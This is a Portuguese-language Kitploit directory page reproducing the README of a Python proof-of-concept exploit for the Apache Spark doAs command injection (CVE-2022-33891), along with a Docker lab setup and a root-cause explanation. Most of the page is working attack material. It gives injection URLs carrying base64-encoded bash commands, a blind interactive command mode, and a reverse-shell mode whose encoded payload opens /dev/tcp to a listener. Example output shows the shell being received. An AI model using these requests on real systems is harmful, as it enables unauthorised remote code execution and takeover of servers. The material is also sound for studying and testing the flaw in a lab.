Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2022-33891 — Prova de conceito em Python para Injeção de Comandos no Apache Spark Shell (CVE-2022-33891), com detecção baseada em sleep, execução interativa de comandos e capacidades de reverse shell contra interfaces Spark vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/akbartrilaksana/cve-2022-33891
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Prova de conceito em Python para Injeção de Comandos no Apache Spark Shell (CVE-2022-33891), com detecção baseada em sleep, execução interativa de comandos e capacidades de reverse shell contra interfaces Spark vulneráveis.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
312há 8 mesesAinda não revisado
Compartilhar

CVE-2022-33891

Vulnerabilidade de Injeção de Comando no Shell do Apache Spark

Um POC em Python para explorar a vulnerabilidade de Injeção de Comando no Shell do Apache Spark. Vi alguns outros POCs por aí, mas pareciam muito suspeitos. Este é limpo e simples.

Não descobri este exploit/vulnerabilidade. Só queria criar um POC seguro para a comunidade ^.^

Versões Afetadas

Apache Spark versões 3.0.3 e anteriores, versões 3.1.1 a 3.1.2, e versões 3.2.0 a 3.2.1

Componente vulnerável

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

Exemplo

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... dorme por 10 segundos

Configuração

Você precisa de uma versão vulnerável do Spark que tenha uma única opção de configuração alterada.

  • Instale as dependências: $ pip3 install -r requirements.txt
  • Mude para o diretório spark/.
  • Use o docker-compose.yml fornecido no diretório spark/ e execute docker-compose up. Deixe o container iniciar.
  • Em um novo terminal, execute sudo docker exec -it spark_spark_1 /bin/bash
  • Na sessão bash do container, execute: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • Opcionalmente, exiba o conteúdo do spark-defaults.conf para garantir que está correto.
  • Saia do shell bash interativo e pressione Ctl-C no processo docker-compose.
  • Assim que os containers desligarem corretamente, execute novamente docker-compose up
  • Uso

    root@kitploit:~
    usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
    
    CVE-2022-33891 Python POC Exploit Script
    
    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     URL to exploit.
      -p PORT, --port PORT  Exploit target's port.
      --revshell            Reverse Shell option.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            Your listening host IP address.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            Your listening host port.
      --check               Checks if the target is exploitable with a sleep test
    
    

    Exemplos

    Verifique se o alvo é vulnerável:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
    [*] Attempting to connect to site...
    [*] Performing sleep test of 10 seconds...
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [+] Sleep was 10 seconds! This target is probably vulnerable!
    

    Execute comandos em um loop de prompt de comando:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
    [*] "Interactive" mode!
    [!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
    > sleep 5
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    > 
    

    Execute uma shell reversa:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
    [*] Reverse shell mode.
    [*] Set up your listener by entering the following:
     nc -nvlp 1337
    [!] When your listener is set up, press enter!
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
    
    ...[in the other terminal]...
    
    husky@dev-kde:~/spark$ nc -nvlp 1337
    Listening on 0.0.0.0 1337
    Connection received on 172.21.0.2 55278
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    

    Mais Informações

    A injeção de comando ocorre porque o Spark verifica a associação de grupo do usuário passado no parâmetro ?doAs usando um comando Linux bruto.

    Passar id como usuário produz este erro no traceback:

    root@kitploit:~
    spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1: 
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1
    
    

    Aqui, o Java decidiu que seria melhor passar o comando id para bash -c para verificar a associação de grupo de um usuário especificado. O problema é que isso também permite injeção de comando.

    Versões corrigidas parametrizam essa chamada para ter um caminho completo para o comando /bin/id em vez de bash -c id

    Vale notar que nada é refletido de volta na página durante a execução do comando, portanto, esta é uma injeção cega de SO. Seus comandos são executados, mas não haverá indicação se funcionaram ou não, nem mesmo se o programa que você está executando está no alvo. Por exemplo, o container que é inicializado com o arquivo docker-compose.yml neste repositório não tem ping, então verificar injeção de comando via pingback não funcionará. Mas você não saberá disso, então ficará se perguntando se funcionou ou não.

    O teste de sleep é uma aposta segura ^.^

    Referências

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (Não recomendo usar este POC)
    Baixar ferramenta